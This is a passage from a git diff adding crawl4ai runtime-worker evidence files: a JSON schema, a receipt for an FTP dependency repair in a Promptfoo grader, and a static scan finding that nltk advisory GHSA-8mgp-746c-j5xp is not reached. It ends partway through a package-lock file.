b/blueprints/runtime-workers/crawl4ai/e2e/schema.json new file mode 100644 index 000000000..f6f39771f --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/e2e/schema.json @@ -0,0 +1,13 @@ +{ + "type": "object", + "additionalProperties": false, + "properties": { + "sku": {"type": "string"}, + "name": {"type": "string"}, + "category": {"type": "string"}, + "price_usd": {"type": "string", "pattern": "^[0-9]+\\.[0-9]{2}$"}, + "in_stock": {"type": "boolean"}, + "dispatch_days": {"type": "integer", "minimum": 0} + }, + "required": ["sku", "name", "category", "price_usd", "in_stock", "dispatch_days"] +} diff --git a/blueprints/runtime-workers/crawl4ai/evidence/grader-ftp-repair.json b/blueprints/runtime-workers/crawl4ai/evidence/grader-ftp-repair.json new file mode 100644 index 000000000..22c32665d --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/evidence/grader-ftp-repair.json @@ -0,0 +1,121 @@ +{ + "schema": "crawl4ai-grader-ftp-repair/1", + "date": "2026-10-02", + "base_commit": "1060f09fd7ab318a487a38015c072b2f4f5f46f1", + "scope": "FTP dependency repair in the pinned standalone Promptfoo grader", + "evidence_class": "native npm resolution/install, native standalone assertion controls and unchanged upstream FTP tests against the overridden dependency", + "selection": { + "promptfoo": "0.123.1", + "chain": ["promptfoo@0.123.1", "proxy-agent@8.0.2", "pac-proxy-agent@9.1.0", "get-uri@8.0.1", "basic-ftp@6.2.1"], + "root_override": {"get-uri@8.0.1": {"basic-ftp": "6.2.1"}}, + "declared_get_uri_range": "^5.3.1", + "cross_major_override": true, + "basic_ftp_git_head": "a5b160ff7d127130107789029aec98632c51fd60", + "basic_ftp_integrity": "sha512-bK67isD+lKq46AU8vNtjvMaT2ZqAOAmNCbxUHlFBRD4k15NWxyEjmaKtZPlgce58So4BNTjITGQOVTjL9y0ECA==", + "lock_sha256": "a64877fe75a939652e3d98277ca35a331935f45ddea5860535e20e1d24bf7a7a", + "native_lock_cleanup": "npm pruned 16 pre-existing extraneous entries. basic-ftp is the only changed retained entry; node-forge@1.4.0 is byte-identical to the baseline lock entry." + }, + "native_checks": { + "node": "v24.21.0", + "npm": "11.19.0", + "npm_version_and_install_ci_ls_config_help_exit_codes": [0, 0, 0, 0, 0], + "cwd": "blueprints/runtime-workers/crawl4ai/grader", + "configuration_scope": "Fresh private cache and empty user/global npm configuration files; no native credential/configuration stores read.", + "commands": [ + {"command": "npm install --package-lock-only --ignore-scripts --no-audit --no-fund", "exit_code": 0}, + {"command": "npm ci --ignore-scripts --no-audit --no-fund", "exit_code": 0, "installed_packages": 821}, + {"command": "npm ls promptfoo get-uri basic-ftp jks-js node-forge", "exit_code": 0}, + {"command": "python3 ../e2e/grade.py --executable /node_modules/.bin/promptfoo --controls", "exit_code": 0}, + {"command": "python3 -m unittest discover -s tests -p test_runtime_worker_crawl4ai.py -k test_grader_install_uses_integrity_lock_without_lifecycle_scripts", "cwd": "repository root", "exit_code": 0, "tests": 1, "classification": "unchanged local integration check for guarded lock hash and registry integrity"}, + {"command": "git diff --check", "cwd": "repository root", "exit_code": 0} + ], + "grader": { + "mode": "Standalone is-json and equals assertions over local fixture outputs; no provider/model run", + "telemetry_and_update_checks_disabled_by": "unchanged e2e/grade.py per-process supported Promptfoo environment switches", + "assertions_sha256": "d6e63c2260cdab75272957a08807294e1470cf91d460a3f20bd9540ab8feb509", + "controls": [ + {"case": "known-pass", "native_exit_code": 0, "successes": 1, "failures": 0, "row_success": true, "report_sha256": "df84634fd7a76129783e5f119bbcdb548b8868eb3163a14451a28a0d83097de1"}, + {"case": "known-fail", "native_exit_code": 100, "successes": 0, "failures": 1, "row_success": false, "report_sha256": "67b1bb2d00c63dc5b79088a190376176771d6f864e1579b5f08a52a2d6a0b56e"}, + {"case": "malformed-output", "native_exit_code": 100, "successes": 0, "failures": 1, "row_success": false, "report_sha256": "09eef4cab6ad754539a47a61d5151e230ad3abc9bfa5da006a1f20353f646eb0"} + ] + } + }, + "upstream_compatibility": { + "status": "PASS", + "repository": "https://github.com/TooTallNate/proxy-agents", + "tag": "get-uri@8.0.1", + "commit": "b7e5f7ccce1a3ac5b339cc4c587974e8989cbc16", + "test_source": "packages/get-uri/test/ftp.test.ts", + "native_test_command": "pnpm test --run --config ../../vitest.config.ts test/ftp.test.ts", + "native_test_exit_code": 0, + "test_result": {"files_passed": 1, "tests_passed": 4, "tests_failed": 0, "tests_skipped": 0}, + "initial_test_failure": {"exit_code": 1, "tests_collected": 0, "condition": "Missing native build prerequisite: data-uri-to-buffer had no resolvable package entry; not a test assertion failure."}, + "initial_retry": "Not run after the first sibling build failed because tsc was unavailable.", + "test_retry": "Passed after an approved frozen reinstall of the existing declared test graph with dev dependencies and replay of the native sibling build.", + "test_sha256": "731333c988ea64ab3790d0f98e5372c857fa7f06dd39c1702a9df0989f85a2e8", + "classification": "Unchanged upstream FTP tests against overridden dependency; bounded local compatibility acceptance", + "resolved_basic_ftp": {"version": "6.2.1", "same_grader_installed_package": true, "package_json_sha256": "7a87f0cf046a29ce8b78de25c9b22a31190b39d49dd306231cf10799f8928419"}, + "source_test_config_diff_exit_code": 0, + "configured_workspace_lock_sha256": "3464912d6fdd92557b3b97c2c3f42eae74c026a8d44d24e066e934888dc55a95", + "configured_manifest_lock_settings_unchanged_by_frozen_reinstall": true, + "locked_native_prerequisites": {"typescript": "5.9.3", "tsc_version_exit_code": 0, "types_node": "22.19.15", "workspace_tsconfig_resolved": true, "vitest": "4.0.18"}, + "generated_sibling_dist_files_retained": 12, + "pnpm": "10.30.3, matching the upstream packageManager; bootstrapped with npm exec", + "setup": [ + {"command": "pnpm --filter get-uri... --filter . install --frozen-lockfile --ignore-scripts --store-dir ", "exit_code": 0}, + {"command": "pnpm link /node_modules/basic-ftp", "exit_code": 1, "condition": "ERR_PNPM_ABORTED_REMOVE_MODULES_DIR_NO_TTY; native diagnostic recommends CI=true"}, + {"command": "CI=true pnpm --filter get-uri... --filter . link /node_modules/basic-ftp", "exit_code": 1, "condition": "Unknown option: recursive; install filters are unsupported by link"}, + {"command": "CI=true pnpm link /node_modules/basic-ftp", "exit_code": 0, "condition": "Astra-approved replay of the original command/environment with CI=true only; native link configured dependency override and regenerated disposable workspace installation"}, + {"command": "pnpm --filter data-uri-to-buffer run build", "cwd": "disposable upstream checkout root", "exit_code": 1, "condition": "Approved native script executes tsc; tsc not found, spawn ENOENT. At this attempt no artifacts were generated and the dependent FTP retry was not run."}, + {"command": "CI=true pnpm --filter get-uri... --filter proxy-agent-monorepo install --frozen-lockfile --ignore-scripts --prod=false", "cwd": "disposable upstream checkout root", "exit_code": 0, "condition": "Reinstall existing declared test graph, including dev dependencies; configured lock hash unchanged, no dependency declarations changed."}, + {"command": "pnpm --filter data-uri-to-buffer run build", "cwd": "disposable upstream checkout root", "exit_code": 0, "condition": "Exact replay after frozen reinstall; native tsc generated the declared dist exports."} + ], + "astra_review": {"trigger": "Compatibility setup unresolved after one bounded continuation, followed by missing native build prerequisites", "effort": "max", "note": "Approved plain-link retry, maintained sibling build, then a frozen reinstall of the existing declared test graph and the same build/test replay", "acceptance": "Native frozen reinstall preserved the configured lock; locked prerequisites, sibling build and four unchanged FTP tests passed. Each preceding failure remains retained separately."}, + "note": "All four prior native failures, configured workspace manifest/lock/settings, exact dependency resolution, generated dist artifacts and passing test output retained privately. Source/tests/config unchanged. FTP compatibility is separate from grader controls and does not close Forge or the full OSV gate." + }, + "security": { + "ftp_advisory": "GHSA-c475-qrg2-pj4r", + "ftp_fixed_release": "6.2.1", + "ftp_advisory_osv_sha256": "49563cbb0590505abecf7025c0d0de22325fcb59d9d58ea4d0ad6023db27085f", + "secure_transfer_host_default": "get-uri constructs Client without a separate-host option; installed basic-ftp defaults allowSeparateTransferHost to false. No relaxation was added; this is source review, not an FTP-bounce runtime test.", + "forge_gate": "OPEN", + "forge": { + "installed_chain": ["promptfoo@0.123.1", "jks-js@1.1.7", "node-forge@1.4.0"], + "advisory": "GHSA-86w9-cpqp-85rv", + "osv_events": [{"introduced": "0"}, {"last_affected": "1.4.0"}], + "registry_latest": "1.4.0", + "released_fix": null, + "upstream_pr": 1152, + "pr_state": "open", + "pr_merged": false, + "osv_response_sha256": "e8e283fac949c57f7fd1595178810f66d53f0078836c3a809a23172daf8ddcd7", + "registry_response_sha256": "bab897062dd42d67cc7212c18a524d729e84d0900512038a5ec14bba74357bf8", + "pr_response_sha256": "cba3b9264b6ae9345f48b735b5bfae69a3d2328531cde9fa1b0ae802f5055fcb" + }, + "full_osv_gate": "OPEN", + "full_osv_scan_rerun": false, + "policy": "No advisory ignore, expiry/security-policy change, custom crypto patch, or dependency omission. This receipt addresses only the FTP candidate." + }, + "sources": { + "npm_overrides": "https://github.com/npm/cli/blob/v11.19.0/docs/lib/content/configuring-npm/package-json.md#overrides", + "npm_exec": "https://github.com/npm/cli/blob/v11.19.0/docs/lib/content/commands/npm-exec.md", + "promptfoo_installation": "https://github.com/promptfoo/promptfoo/blob/0.123.1/site/docs/installation.md", + "ftp_advisory": "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-c475-qrg2-pj4r", + "ftp_osv": "https://api.osv.dev/v1/vulns/GHSA-c475-qrg2-pj4r", + "ftp_release_registry": "https://registry.npmjs.org/basic-ftp/6.2.1", + "ftp_fix": "https://github.com/patrickjuchli/basic-ftp/commit/a5b160ff7d127130107789029aec98632c51fd60", + "ftp_secure_default": "https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.0", + "get_uri_ftp": "https://github.com/TooTallNate/proxy-agents/blob/b7e5f7ccce1a3ac5b339cc4c587974e8989cbc16/packages/get-uri/src/ftp.ts", + "get_uri_tests": "https://github.com/TooTallNate/proxy-agents/blob/b7e5f7ccce1a3ac5b339cc4c587974e8989cbc16/packages/get-uri/test/ftp.test.ts", + "sibling_build": "https://github.com/TooTallNate/proxy-agents/blob/b7e5f7ccce1a3ac5b339cc4c587974e8989cbc16/packages/data-uri-to-buffer/package.json", + "native_build_prerequisite": "https://github.com/TooTallNate/proxy-agents/blob/b7e5f7ccce1a3ac5b339cc4c587974e8989cbc16/turbo.json", + "pnpm_link": "https://github.com/pnpm/pnpm/blob/v10.30.3/pkg-manager/plugin-commands-installation/src/link.ts", + "pnpm_install": "https://github.com/pnpm/pnpm/blob/v10.30.3/pkg-manager/plugin-commands-installation/src/install.ts", + "pnpm_dev_dependencies": "https://pnpm.io/10.x/cli/install#--prod--p", + "forge_osv": "https://api.osv.dev/v1/vulns/GHSA-86w9-cpqp-85rv", + "forge_registry": "https://registry.npmjs.org/node-forge/latest", + "forge_pr": "https://github.com/digitalbazaar/forge/pull/1152" + }, + "retention": "Full native returned output, exact private command arguments, exit records, controls and source-response bytes retained outside the checkout for coordinator review.", + "limits": ["The override crosses get-uri's declared major range; acceptance covers only its four unchanged local FTP tests, not all proxy-agent behavior, remote FTP servers or FTP-bounce security testing.", "Native standalone grader controls use fixtures and do not establish Crawl4AI runtime or provider acceptance.", "Forge and the full lock-wide OSV gate remain open; release/advisory/PR facts are dated snapshots."] +} diff --git a/blueprints/runtime-workers/crawl4ai/evidence/nltk-reachability.json b/blueprints/runtime-workers/crawl4ai/evidence/nltk-reachability.json new file mode 100644 index 000000000..67421707f --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/evidence/nltk-reachability.json @@ -0,0 +1,245 @@ +{ + "schema": "crawl4ai-nltk-reachability/1", + "date": "2026-09-27", + "evidence_class": "local static scan of hash-verified locked artifacts (no install, no execution)", + "question": "Does any code in the crawl4ai runtime-worker lock closure, or the recipe's own Python, reach the nltk APIs named by GHSA-8mgp-746c-j5xp?", + "advisory": { + "id": "GHSA-8mgp-746c-j5xp", + "aliases": ["CVE-2026-81726", "PYSEC-2026-3740"], + "published": "2026-09-02T14:35:04Z", + "modified": "2026-09-02T14:45:06.878867805Z", + "summary": "NLTK: Model-artifact APIs bypass pathsec and touch files outside allowed roots", + "affected_functions": [ + "TransitionParser.train", + "TransitionParser.parse", + "AveragedPerceptron.save", + "AveragedPerceptron.load", + "PerceptronTagger.save_to_json", + "save_maxent_params" + ], + "affected_functions_source": "The record's details text, 'Affected component' line; affected[0] carries no ecosystem_specific function field.", + "guarded_comparisons_named": ["pathsec.open()", "PerceptronTagger.load_from_json()", "load_maxent_params()"], + "precondition": "The application enables `pathsec` enforcement and lets untrusted workflows choose model import or export paths.", + "affected_range": {"package": "PyPI nltk", "events": [{"introduced": "0"}, {"last_affected": "3.10.3"}], "versions_list_includes_3_10_3": true}, + "patched_versions": "Not yet patched", + "cwe_ids": ["CWE-22", "CWE-59", "CWE-73"], + "severity": "HIGH; CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L", + "fix_references": [ + "https://github.com/nltk/nltk/pull/3757", + "https://github.com/nltk/nltk/pull/3759", + "https://github.com/nltk/nltk/pull/3813" + ], + "source_url": "https://api.osv.dev/v1/vulns/GHSA-8mgp-746c-j5xp", + "fetch": { + "http_status": 200, + "bytes": 4877, + "sha256": "0049d801414601f4f3fa4129bb8315578cd3b6d9447de2705590485f7487a672", + "server_date": "Sun, 27 Sep 2026 21:59:51 GMT", + "osv_schema_version": "1.9.0" + } + }, + "advisory_corroboration": { + "pypi": { + "source_url": "https://pypi.org/pypi/nltk/json", + "http_status": 200, + "sha256": "bcb887db94e1c4fe5eb120e7125ac9da760b3c07f4d8c8065079373fec07db3c", + "server_date": "Sun, 27 Sep 2026 22:00:07 GMT", + "latest_version": "3.10.3", + "latest_upload": "2026-08-12T23:44:13.478418Z", + "releases_newer_than_3_10_3": 0, + "files_3_10_3": { + "nltk-3.10.3-py3-none-any.whl": "ff9598a8e20518ee0d557745890cc4435b9578489e2dcbc69c4f81fa060caf7c", + "nltk-3.10.3.tar.gz": "bb9327a461c3811c2fa4900e03840401f2126adfb30c0072827c433bd2444ea4" + } + }, + "github_prs": { + "source": "gh api repos/nltk/nltk/pulls/, exit 0 for each", + "results": [ + {"number": 3757, "merged": true, "base": "develop", "merged_at": "2026-08-20T03:10:12Z"}, + {"number": 3759, "merged": true, "base": "develop", "merged_at": "2026-08-18T14:12:44Z"}, + {"number": 3813, "merged": true, "base": "develop", "merged_at": "2026-08-28T12:52:32Z"} + ] + }, + "review_facts_check": "The 2026-09-27 read-only review's facts match these fetches and the downloaded bytes: the six functions, load_from_json as a guarded comparison, ENFORCE = True at nltk/pathsec.py:28 (comment lines 26-27), no patched PyPI release, and #3757, #3759 and #3813 merged into develop after the 3.10.3 upload." + }, + "lock": { + "path": "blueprints/runtime-workers/crawl4ai/requirements.lock", + "sha256": "515633e3e9a1c94fc4bf9479f67983ccdc673b0a0f8fe04f27237fc10a53a701", + "matches_pins_json_requirements_lock_sha256": true, + "requirements": 95, + "nltk_pin": "nltk==3.10.3", + "nltk_pin_line": 1661, + "nltk_hashes": [ + "sha256:bb9327a461c3811c2fa4900e03840401f2126adfb30c0072827c433bd2444ea4", + "sha256:ff9598a8e20518ee0d557745890cc4435b9578489e2dcbc69c4f81fa060caf7c" + ], + "nltk_via": "crawl4ai (lock line 1664)" + }, + "artifacts": { + "downloaded": 95, + "requirements": 95, + "command": "TMPDIR= PYTHONDONTWRITEBYTECODE=1 PIP_CONFIG_FILE=/dev/null python3 -m pip download --disable-pip-version-check --no-input --index-url https://pypi.org/simple --cache-dir /pip-cache --require-hashes --only-binary=:all: --no-deps --python-version 3.12 --platform manylinux2014_x86_64 --platform manylinux_2_17_x86_64 --platform manylinux_2_28_x86_64 --implementation cp -d /wheels -r blueprints/runtime-workers/crawl4ai/requirements.lock", + "exit_code": 0, + "pip": "pip 26.2.1 run by the host's CPython 3.13.15, selecting cp312 wheels through --python-version", + "pip_output": "Final line 'Successfully downloaded' names 95 distributions; 0 log lines match warning, error or deprecat.", + "platform_tags": "The brief's three tags were sufficient; no platform tag was added.", + "deviation_from_brief": "--python-version 3.12 instead of the brief's 3.13. install.sh:24 asserts Python 3.12, pins.json:38 records python 3.12, and research.md:176-180 compiled the lock with --python-version 3.12 --python-platform x86_64-manylinux_2_35, so the cp312 selection is the recipe's exact wheel set. The other added flags only isolate pip from user configuration and keep its cache under .", + "independent_hash_check": "A scratch script recomputed the sha256 of every downloaded file and matched it to that requirement's lock hashes: 95 matched, 0 mismatched or unlisted, 0 requirements without an artifact.", + "wheel_kinds": {"pure_python": 64, "binary": 31, "sdist": 0}, + "key_artifacts": { + "nltk-3.10.3-py3-none-any.whl": "ff9598a8e20518ee0d557745890cc4435b9578489e2dcbc69c4f81fa060caf7c", + "crawl4ai-0.9.4-py3-none-any.whl": "46779c8a93b35c7c5f9be9642ddef5e7b515e36b094639bb8e1e418bf0266179" + }, + "unpack": "Python zipfile extraction of each wheel to /unpacked/-/; nothing was installed, imported or executed." + }, + "scan": { + "tool": "ripgrep 14.1.0 over /unpacked; caller passes exclude nltk-3.10.3/**", + "passes": [ + {"search": "word nltk in *.py (-uu)", "result": "10 lines, all in crawl4ai 0.9.4", "exit_code": 0}, + {"search": "import statements: 'import ... nltk' or 'from nltk' at line start", "result": "7 statements, listed in callers", "exit_code": 0}, + {"search": "import_module(, __import__( or find_spec( naming nltk, all files", "result": "none", "exit_code": 1}, + {"search": "quoted 'nltk' or 'nltk.' string literal in *.py", "result": "none", "exit_code": 1}, + {"search": "TransitionParser|AveragedPerceptron|save_to_json|save_maxent_params|PerceptronTagger, all files including binary (-uuu)", "result": "none", "exit_code": 1}, + {"search": "pos_tag, ne_chunk, MaxentClassifier, NEChunkParser or DependencyGraph in *.py", "result": "none", "exit_code": 1}, + {"search": "pathsec or NLTK_ALLOW, all files", "result": "none", "exit_code": 1}, + {"search": "Requires-Dist naming nltk in METADATA", "result": "crawl4ai only", "exit_code": 0}, + {"search": "nltk in non-Python text and binary files", "result": "crawl4ai METADATA plus the four files in non_caller_matches", "exit_code": 0} + ] + }, + "callers": [ + { + "package": "crawl4ai", + "version": "0.9.4", + "file": "crawl4ai/model_loader.py", + "line": 178, + "symbol": "import nltk; nltk.data.find (181, 184) and nltk.download (183)", + "calls_affected_api": false, + "note": "Inside load_nltk_punkt() (177). Called by NlpSentenceChunking.__init__ (chunking_strategy.py:74) and by download_all_models (model_loader.py:277), which main() (281-292) runs for the crawl4ai-download-models console script. The worker selects neither, and no recipe file invokes crawl4ai-setup, crawl4ai-download-models, crwl or crawl4ai-doctor (rg exit 1)." + }, + { + "package": "crawl4ai", + "version": "0.9.4", + "file": "crawl4ai/chunking_strategy.py", + "line": 83, + "symbol": "from nltk.tokenize import sent_tokenize", + "calls_affected_api": false, + "note": "Inside NlpSentenceChunking.chunk (class at 65). CrawlerRunConfig defaults chunking_strategy to RegexChunking() (async_configs.py:1710; class at chunking_strategy.py:38 with no nltk use), and both deserialization allowlists name only RegexChunking among chunkers (async_configs.py:140, 195)." + }, + { + "package": "crawl4ai", + "version": "0.9.4", + "file": "crawl4ai/chunking_strategy.py", + "line": 108, + "symbol": "import nltk as nl; nl.tokenize.TextTilingTokenizer (110)", + "calls_affected_api": false, + "note": "Inside TopicSegmentationChunking.__init__ (class at 92); not selected by the worker and absent from async_configs.py (rg exit 1)." + }, + { + "package": "crawl4ai", + "version": "0.9.4", + "file": "crawl4ai/chunking_strategy.py", + "line": 120, + "symbol": "import nltk as nl; nl.toknize.word_tokenize (122), nl.corpus.stopwords.words (126)", + "calls_affected_api": false, + "note": "Inside TopicSegmentationChunking.extract_keywords (118). The upstream spelling 'toknize' names nothing in nltk 3.10.3 (rg exit 1); runtime behaviour was not observed." + }, + { + "package": "crawl4ai", + "version": "0.9.4", + "file": "crawl4ai/legacy/llmtxt.py", + "line": 11, + "symbol": "from nltk.tokenize import word_tokenize", + "calls_affected_api": false, + "note": "Module-level import in a module with no static importer in the closure: nothing imports crawl4ai.legacy, and the only llmtxt import (legacy/docs_manager.py:5) names crawl4ai.llmtxt, which the wheel does not contain." + }, + { + "package": "crawl4ai", + "version": "0.9.4", + "file": "crawl4ai/legacy/llmtxt.py", + "line": 12, + "symbol": "from nltk.corpus import stopwords", + "calls_affected_api": false, + "note": "Same legacy module as line 11." + }, + { + "package": "crawl4ai", + "version": "0.9.4", + "file": "crawl4ai/legacy/llmtxt.py", + "line": 13, + "symbol": "from nltk.stem import WordNetLemmatizer", + "calls_affected_api": false, + "note": "Same legacy module as line 11." + } + ], + "dependency_declarations": [ + { + "package": "crawl4ai", + "version": "0.9.4", + "file": "crawl4ai-0.9.4.dist-info/METADATA", + "lines": [40, 57, 66, 73], + "text": "Requires-Dist: nltk>=3.9.1 unconditionally (40), and nltk for extras torch, cosine and all (57, 66, 73)" + } + ], + "non_caller_matches": [ + {"package": "unclecode-litellm", "version": "1.81.13", "file": "litellm/litellm_core_utils/tokenizers/anthropic_tokenizer.json", "line": 1, "note": "Tokenizer vocabulary entry \"nltk\" (id 50055); data, not code."}, + {"package": "certifi", "version": "2026.7.22", "file": "certifi/cacert.pem", "line": 2512, "note": "The letters nltk inside base64 certificate data."}, + {"package": "playwright", "version": "1.63.0", "file": "playwright/driver/node", "note": "One binary match in the bundled Node.js executable; not Python."}, + {"package": "patchright", "version": "1.63.0", "file": "patchright/driver/node", "note": "One binary match in the bundled Node.js executable; not Python."} + ], + "nltk_internal": { + "artifact": "nltk-3.10.3-py3-none-any.whl", + "affected_locations": [ + {"function": "AveragedPerceptron.save", "file": "nltk/tag/perceptron.py", "line": 176, "builtin_open_lines": [178]}, + {"function": "AveragedPerceptron.load", "file": "nltk/tag/perceptron.py", "line": 181, "builtin_open_lines": [183]}, + {"function": "PerceptronTagger.save_to_json", "file": "nltk/tag/perceptron.py", "line": 332, "builtin_open_lines": [351, 372]}, + {"function": "TransitionParser.train", "file": "nltk/parse/transitionparser.py", "line": 524, "builtin_open_lines": [564]}, + {"function": "TransitionParser.parse", "file": "nltk/parse/transitionparser.py", "line": 568, "builtin_open_lines": [583]}, + {"function": "save_maxent_params", "file": "nltk/classify/maxent.py", "line": 1583, "builtin_open_lines": [1596, 1598, 1600, 1602]} + ], + "guarded_comparisons": [ + {"function": "PerceptronTagger.__init__ -> load_from_json", "file": "nltk/tag/perceptron.py", "lines": "238; load=True calls load_from_json at 252-253; load_from_json (377) resolves paths through find() at 381 and 389"}, + {"function": "load_maxent_params", "file": "nltk/classify/maxent.py", "lines": "1560; reads through nltk.data.open_datafile at 1563-1577"} + ], + "entry_module_check": "The five API names do not occur in nltk/tokenize/, nltk/corpus/, nltk/stem/wordnet.py, nltk/data.py or nltk/downloader.py (rg exit 1), the modules behind the nltk APIs crawl4ai names. The legacy-pickle redirects to tagger and chunker loaders sit inside nltk.data.load (data.py:1037, redirects at 1121-1132); crawl4ai calls nltk.data.find and nltk.download, not nltk.data.load." + }, + "pathsec_default": { + "file": "nltk/pathsec.py", + "line": 28, + "value": true, + "source_text": "ENFORCE = True", + "context": "Line 26 is '# Security Enforcement Toggle' and line 27 is '# ENFORCE = False'. Apart from line 28, searches for 'ENFORCE =' and for setattr naming \"ENFORCE\" match only the commented line 27 and test files; line 845 lists the name in __all__. pathsec.py reads only NLTK_DATA (88) and NLTK_ALLOW_PROXIED_URLOPEN (533) from the environment; neither sets ENFORCE. Nothing in the closure outside nltk references pathsec (rg exit 1)." + }, + "recipe_code_hits": { + "scope": [ + "blueprints/runtime-workers/crawl4ai/*.py: dispatch.py, host.py, install-browser.py, mcp-config.py, worker.py", + "blueprints/runtime-workers/crawl4ai/e2e/*.py: check.py, grade.py, mcp_probe.py, receipt.py, run.py" + ], + "nltk_imports": [], + "affected_api_hits": [], + "rg_exit_codes": {"top_level_py": 1, "e2e_py": 1}, + "non_python_mentions": [ + "common.sh:12 exports NLTK_DATA under the recipe state directory", + "config/compose.yaml:39 sets NLTK_DATA for the container" + ], + "worker_crawl4ai_imports": "AsyncWebCrawler, BrowserConfig, CacheMode, CrawlerRunConfig, LLMConfig, PruningContentFilterLXML, LLMExtractionStrategy, DefaultMarkdownGenerator (worker.py:99-102); CrawlerRunConfig keeps its default RegexChunking.", + "apply_chunking": { + "file": "blueprints/runtime-workers/crawl4ai/worker.py", + "line": 156, + "value": false, + "strategy": "LLMExtractionStrategy (worker.py:144-158), run via strategy.run at worker.py:159", + "upstream_effect": "crawl4ai 0.9.4 extraction_strategy.py:618-619 sets chunk_token_threshold to 1e9 when apply_chunking is false; run() (786-802) still merges through utils.merge_chunks (utils.py:170), whose default splitter is str.split (utils.py:193). Neither extraction_strategy.py nor utils.py mentions nltk (rg exit 1), so neither value of the setting leads to nltk." + } + }, + "conclusion": "Not reached by static search. Among the 95 hash-verified cp312 wheels selected from the lock, crawl4ai 0.9.4 is the only distribution that imports nltk: 7 import statements in model_loader.py, chunking_strategy.py and legacy/llmtxt.py. Those sites use tokenization (sent_tokenize, word_tokenize, TextTilingTokenizer), corpora (stopwords, WordNetLemmatizer) and data management (nltk.data.find, nltk.download). None names an API listed by GHSA-8mgp-746c-j5xp, and the names TransitionParser, AveragedPerceptron, PerceptronTagger, save_to_json and save_maxent_params occur nowhere in the closure outside nltk, nor in the nltk modules behind the APIs crawl4ai uses. The recipe's own Python imports no nltk. The worker selects no nltk-using crawl4ai code: it passes apply_chunking=False to LLMExtractionStrategy (worker.py:156), whose run path has no nltk reference under either value, and it keeps CrawlerRunConfig's default RegexChunking. nltk 3.10.3 ships pathsec on (nltk/pathsec.py:28), so the advisory's enforcement precondition holds by default. No caller here lets input choose model import or export paths for the affected APIs. The lock still pins an OSV-affected nltk with no patched PyPI release, so this is a reachability finding, not a remediation.", + "limits": [ + "Static text search with ripgrep over unpacked wheels and recipe files: not a runtime trace, import-time observation or call-graph analysis.", + "Dynamic dispatch, getattr, and string-built or computed imports (for example importlib.import_module with a variable) may be missed; only literal patterns were searched.", + "Compiled extension modules were covered only by byte searches for nltk and the five API names; names built at runtime inside native code would not be found.", + "Scope is the 95 cp312 manylinux x86_64 wheels the lock selects for the recipe's Python 3.12 venv. The unclecode/crawl4ai container image that the recipe also runs (pins.json image digest) has its own Python environment and was not scanned.", + "Reachability inside nltk was checked by name search in nltk/tokenize/, nltk/corpus/, nltk/stem/wordnet.py, nltk/data.py and nltk/downloader.py, not with a full nltk call graph.", + "Advisory and release facts are as fetched on 2026-09-27, with the OSV and PyPI response hashes recorded; OSV records and PyPI releases can change later.", + "Nothing was installed, imported or executed, and no nltk data was downloaded; runtime behaviour such as the 'toknize' attribute access or nltk.download side effects was not observed.", + "The brief's Python 3.13 wheel set was not downloaded; binary wheels for other interpreters were not scanned." + ], + "cleanup": "After the scan, rm -rf removed the wheels, unpacked trees, pip cache, logs, fetched OSV and PyPI responses and the helper script (exit 0); a following ls of reported 'No such file or directory' (exit 2)." +} diff --git a/blueprints/runtime-workers/crawl4ai/grader/package-lock.json b/blueprints/runtime-workers/crawl4ai/grader/package-lock.json new file mode 100644 index 000000000..4e6fb02ca --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/grader/package-lock.json @@ -0,0 +1,13066 @@ +{ + "name": "runtime-worker-crawl4ai-grader", + "version": "1.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "runtime-worker-crawl4ai-grader", + "version": "1.0.0", + "dependencies": { + "promptfoo": "0.123.1" + } + }, + "node_modules/@ai-sdk/gateway": { + "version": "3.0.203", + "resolved": "https://registry.npmjs.org/@ai-sdk/gateway/-/gateway-3.0.203.tgz", + "integrity": "sha512-v7vtJW93nJPQsNoYHp6MOGd0H/p5Yr3KxpM5QK82kxp5PZvBnNkF+i9x1bADBwV+ua1mAwPUJ84x91OYv7Q+Qw==", + "license": "Apache-2.0", + "dependencies": { + "@ai-sdk/provider": "3.0.18", + "@ai-sdk/provider-utils": "4.0.55", + "@vercel/oidc": "3.2.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "zod": "^3.25.76 || ^4.1.8" + } + }, + "node_modules/@ai-sdk/provider": { + "version": "3.0.18", + "resolved": "https://registry.npmjs.org/@ai-sdk/provider/-/provider-3.0.18.tgz", + "integrity": "sha512-IpefF5ssZVOZCD4Wu7zxt6PwZoGT2HLVjxpJ10Bjx6EAmRfLYJPjyrfxb0RYDlwvXnDb9nkQ7Do/oJVDuRFzew==", + "license": "Apache-2.0", + "dependencies": { + "json-schema": "^0.4.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/@ai-sdk/provider-utils": { + "version": "4.0.55", + "resolved": "https://registry.npmjs.org/@ai-sdk/provider-utils/-/provider-utils-4.0.55.tgz", + "integrity": "sha512-YSnAX4yORwMDNrl1JMc10qNbYKOltpQz9vJRrKWMOObdSa+N3reggfPbUy9GB0en9kUhm8Pbe9UsFgTFwsUKLA==", + "license": "Apache-2.0", + "dependencies": { + "@ai-sdk/provider": "3.0.18", + "@standard-schema/spec": "^1.1.0", + "eventsource-parser": "^3.0.8", + "undici": "^6.28.0" + }, + "engines": { + "node": ">=18.17" + }, + "peerDependencies": { + "zod": "^3.25.76 || ^4.1.8" + } + }, + "node_modules/@ai-sdk/provider-utils/node_modules/eventsource-parser": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/eventsource-parser/-/eventsource-parser-3.1.1.tgz", + "integrity": "sha512-EKN1vKAMcZ8MlYMpaNuxN6R9yakzH6uajHcHVTqWJzvu5pWw9DyhbP35HH8MVBQ+dZjAfDxk+A8NiR9KWaXiyQ==", + "license": "MIT", + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@ai-sdk/provider-utils/node_modules/undici": { + "version": "6.29.0", + "resolved": "https://registry.npmjs.org/undici/-/undici-6.29.0.tgz", + "integrity": "sha512-R+RODBqp6i2pPflGdq+xIOUkl+RNfGgHwoinecKu/JCuf2uO06cOKoDbI2P7Dn6KcswdKwrczbU6IYJ6K8X+wg==", + "license": "MIT", + "engines": { + "node": 